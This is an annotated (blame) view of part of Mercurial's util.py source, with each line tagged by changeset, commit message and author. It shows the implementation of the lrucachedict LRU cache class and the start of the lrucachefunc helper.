45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1494
40898 7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1495 return value
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1496
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1497 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1498
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1499 def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1500 try:
39587 8f2c0d1b454c util: update lrucachedict order during get() Gregory Szorc <gregory.szorc@gmail.com> parents: 39586 diff changeset	1501 return self.__getitem__(k)
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1502 except KeyError:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1503 return default
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1504
40897 0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1505 def peek(self, k, default=_notset):
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1506 """Get the specified item without moving it to the head
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1507
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1508 Unlike get(), this doesn't mutate the internal state. But be aware
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1509 that it doesn't mean peek() is thread safe.
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1510 """
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1511 try:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1512 node = self._cache[k]
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1513 return node.value
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1514 except KeyError:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1515 if default is _notset:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1516 raise
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1517 return default
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1518
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1519 def clear(self):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1520 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1521 while n.key is not _notset:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1522 self.totalcost -= n.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1523 n.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1524 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1525
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1526 self._cache.clear()
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1527
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1528 def copy(self, capacity=None, maxcost=0):
39581 2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1529 """Create a new cache as a copy of the current one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1530
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1531 By default, the new cache has the same capacity as the existing one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1532 But, the cache capacity can be changed as part of performing the
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1533 copy.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1534
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1535 Items in the copy have an insertion/access order matching this
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1536 instance.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1537 """
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1538
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1539 capacity = capacity or self.capacity
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1540 maxcost = maxcost or self.maxcost
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1541 result = lrucachedict(capacity, maxcost=maxcost)
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1542
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1543 # We copy entries by iterating in oldest-to-newest order so the copy
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1544 # has the correct ordering.
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1545
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1546 # Find the first non-empty entry.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1547 n = self._head.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1548 while n.key is _notset and n is not self._head:
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1549 n = n.prev
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1550
39581 2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1551 # We could potentially skip the first N items when decreasing capacity.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1552 # But let's keep it simple unless it is a performance problem.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1553 for i in range(len(self._cache)):
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1554 result.insert(n.key, n.value, cost=n.cost)
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1555 n = n.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1556
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1557 return result
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1558
39582 bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1559 def popoldest(self):
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1560 """Remove the oldest item from the cache.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1561
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1562 Returns the (key, value) describing the removed cache entry.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1563 """
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1564 if not self._cache:
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1565 return
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1566
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1567 # Walk the linked list backwards starting at tail node until we hit
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1568 # a non-empty node.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1569 n = self._head.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1570 while n.key is _notset:
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1571 n = n.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1572
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1573 key, value = n.key, n.value
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1574
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1575 # And remove it from the cache and mark it as empty.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1576 del self._cache[n.key]
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1577 self.totalcost -= n.cost
39582 bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1578 n.markempty()
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1579
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1580 return key, value
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1581
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1582 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1583 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1584
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1585 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1586 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1587
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1588 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1589
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1590 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1591
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1592 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1593 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1594 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1595
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1596 To:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1597
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1598 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1599 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1600 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1601
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1602 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1603
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1604 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1605 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1606 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1607 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1608 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1609 A.prev = N (head.prev = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1610 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1611 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1612 # C.next = D
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1613 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1614 # D.prev = C
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1615 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1616 # N.prev = E
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1617 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1618 # N.next = A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1619 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1620 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1621 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1622 # E.next = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1623 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1624 # A.prev = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1625 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1626
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1627 self._head = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1628
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1629 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1630 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1631
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1632 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1633 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1634 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1635 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1636 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1637 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1638 node.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1639 head.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1640 self._size += 1
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1641 return node
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1642
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1643 def _enforcecostlimit(self):
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1644 # This should run after an insertion. It should only be called if total
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1645 # cost limits are being enforced.
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1646 # The most recently inserted node is never evicted.
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1647 if len(self) <= 1 or self.totalcost <= self.maxcost:
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1648 return
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1649
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1650 # This is logically equivalent to calling popoldest() until we
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1651 # free up enough cost. We don't do that since popoldest() needs
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1652 # to walk the linked list and doing this in a loop would be
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1653 # quadratic. So we find the first non-empty node and then
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1654 # walk nodes until we free up enough capacity.
39586 f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1655 #
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1656 # If we only removed the minimum number of nodes to free enough
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1657 # cost at insert time, chances are high that the next insert would
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1658 # also require pruning. This would effectively constitute quadratic
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1659 # behavior for insert-heavy workloads. To mitigate this, we set a
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1660 # target cost that is a percentage of the max cost. This will tend
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1661 # to free more nodes when the high water mark is reached, which
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1662 # lowers the chances of needing to prune on the subsequent insert.
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1663 targetcost = int(self.maxcost * 0.75)
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1664
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1665 n = self._head.prev
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1666 while n.key is _notset:
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1667 n = n.prev
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1668
39586 f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1669 while len(self) > 1 and self.totalcost > targetcost:
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1670 del self._cache[n.key]
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1671 self.totalcost -= n.cost
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1672 n.markempty()
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1673 n = n.prev
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1674
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1675
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1676 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1677 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1678 cache = {}
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	1679 order = collections.deque()
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1680 if func.__code__.co_argcount == 1:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1681
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1682 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1683 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1684 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1685 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1686 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1687 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1688 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1689 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1690 return cache[arg]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1691
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1692 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1693
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1694 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1695 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1696 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1697 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1698 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1699 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1700 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1701 order.append(args)
